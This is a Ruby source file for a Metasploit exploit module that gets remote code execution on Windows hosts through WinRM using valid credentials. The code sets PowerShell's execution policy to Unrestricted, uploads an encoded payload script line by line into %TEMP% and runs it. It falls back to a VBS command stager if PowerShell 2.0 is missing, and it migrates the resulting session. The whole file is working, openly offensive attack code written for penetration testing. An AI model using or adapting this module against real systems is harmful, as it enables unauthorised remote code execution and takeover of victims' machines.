metasploit-gs/modules/exploits/windows/winrm/winrm_script_exec.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	include Msf::Exploit::Remote::WinRM
	include Msf::Exploit::CmdStagerVBS


	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WinRM Script Exec Remote Code Execution',
			'Description'    => %q{
					This module uses valid credentials to login to the WinRM service
					and execute a payload. It has two available methods for payload
					delivery: Powershell 2.0 and VBS CmdStager.

					The module will check if Powershell 2.0 is available, and if so uses
					that method. Otherwise it falls back to the VBS Cmdstager which is
					less stealthy.

					IMPORTANT: If targeting an x64 system with the Powershell method
					you MUST select an x64 payload. An x86 payload will never return.
			},
			'Author'         => [ 'thelightcosine' ],
			'License'        => MSF_LICENSE,
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'WfsDelay'     => 30,
					'EXITFUNC' => 'thread',
					'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',
				},
			'Platform'       => 'win',
			'Arch'          => [ ARCH_X86, ARCH_X86_64 ],
			'Targets'        =>
				[
					[ 'Windows', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 01 2012'
		))

		register_options(
			[
				OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false])
			], self.class
		)

		register_advanced_options(
		[
			OptString.new( 'DECODERSTUB',  [ true, 'The VBS base64 file decoder stub to use.',
				File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
		], self.class)

	end

	def check
		unless accepts_ntlm_auth
			print_error "The Remote WinRM  server  does not appear to allow Negotiate(NTLM) auth"
			return Msf::Exploit::CheckCode::Safe
		end

		return Msf::Exploit::CheckCode::Vulnerable
	end


	def exploit
		unless  check == Msf::Exploit::CheckCode::Vulnerable
			return
		end
		if powershell2?
			return unless correct_payload_arch?
			path = upload_script
			return if path.nil?
			exec_script(path)
		else
			execute_cmdstager
		end
		handler
	end

	def execute_command(cmd,opts)
		commands = cmd.split(/&/)
		commands.each do |command|
			if command.include? "cscript"
				streams = winrm_run_cmd_hanging(command)
				print_status streams.inspect
			elsif command.include? "del %TEMP%"
				next
			else
				winrm_run_cmd(command)
			end
		end
	end

	def upload_script
		tdir = temp_dir
		return if tdir.nil?
		path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
		print_status "Uploading powershell script to #{path} (This may take a few minutes)..."

		script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
		#add a sleep to the script to give us enoguh time to establish a session
		script << "\n Start-Sleep -s 600"
		script.each_line do |psline|
			#build our psh command to write out our psh script, meta eh?
			script_line = "Add-Content #{path} '#{psline.chomp}' "
			cmd = encoded_psh(script_line)
			streams = winrm_run_cmd(cmd)
		end
		return path
	end

	def exec_script(path)
		print_status "Attempting to execute script..."
		cmd = "powershell -File #{path}"
		winrm_run_cmd_hanging(cmd)
	end

	def encoded_psh(script)
		script = script.chars.to_a.join("\x00").chomp
		script << "\x00" unless script[-1].eql? "\x00"
		script = Rex::Text.encode_base64(script).chomp
		cmd = "powershell -encodedCommand #{script}"
	end

	def temp_dir
		print_status "Grabbing %TEMP%"
		resp,c = send_request_ntlm(winrm_open_shell_msg)
		if resp.nil?
			print_error "Got no reply from the server"
			return nil
		end
		unless resp.code == 200
			print_error "Got unexpected response: \n #{resp.to_s}"
			return nil
		end
		shell_id = winrm_get_shell_id(resp)
		cmd = "echo %TEMP%"
		resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
		cmd_id = winrm_get_cmd_id(resp)
		resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
		streams = winrm_get_cmd_streams(resp)
		return streams['stdout'].chomp
	end

	def check_remote_arch
		wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
		resp,c = send_request_ntlm(winrm_wql_msg(wql))
		#Default to x86 if we can't be sure
		return "x86" if resp.nil? or resp.code != 200
		resp_tbl = parse_wql_response(resp)
		addr_width =  resp_tbl.rows.flatten[0]
		if addr_width == "64"
			return "x64"
		else
			return "x86"
		end
	end

	def correct_payload_arch?
		target_arch = check_remote_arch
		case target_arch
		when "x64"
			unless datastore['PAYLOAD'].include? "x64"
				print_error "You selected an x86 payload for an x64 target!"
				return false
			end
		when "x86"
			if datastore['PAYLOAD'].include? "x64"
				print_error "you selected an x64 payload for an x86 target"
				return false
			end
		end
		return true
	end


	def powershell2?
		if datastore['FORCE_VBS']
			print_status "User selected the FORCE_VBS option"
			return false
		end
		print_status "checking for Powershell 2.0"
		streams = winrm_run_cmd("powershell Get-Host")
		if streams == 401
			print_error "Login failed!"
			return false
		end
		unless streams.class == Hash
			print_error "Recieved error while running check"
			return false
		end
		if streams['stderr'].include? "not recognized"
			print_error "Powershell is not installed"
			return false
		end
		streams['stdout'].each_line do |line|
			next unless line.start_with? "Version"
			major_version = line.match(/\d(?=\.)/)[0]
			if major_version == "1"
				print_error "The target is running an older version of powershell"
				return false
			end
		end

		print_status "Attempting to set Execution Policy"
		streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
		if streams == 401
			print_error "Login failed!"
			return false
		end
		unless streams.class == Hash
			print_error "Recieved error while running check"
			return false
		end
		streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
		if streams['stdout'].include? 'Unrestricted'
			print_good "Set Execution Policy Successfully"
			return true
		end
		return false
	end

end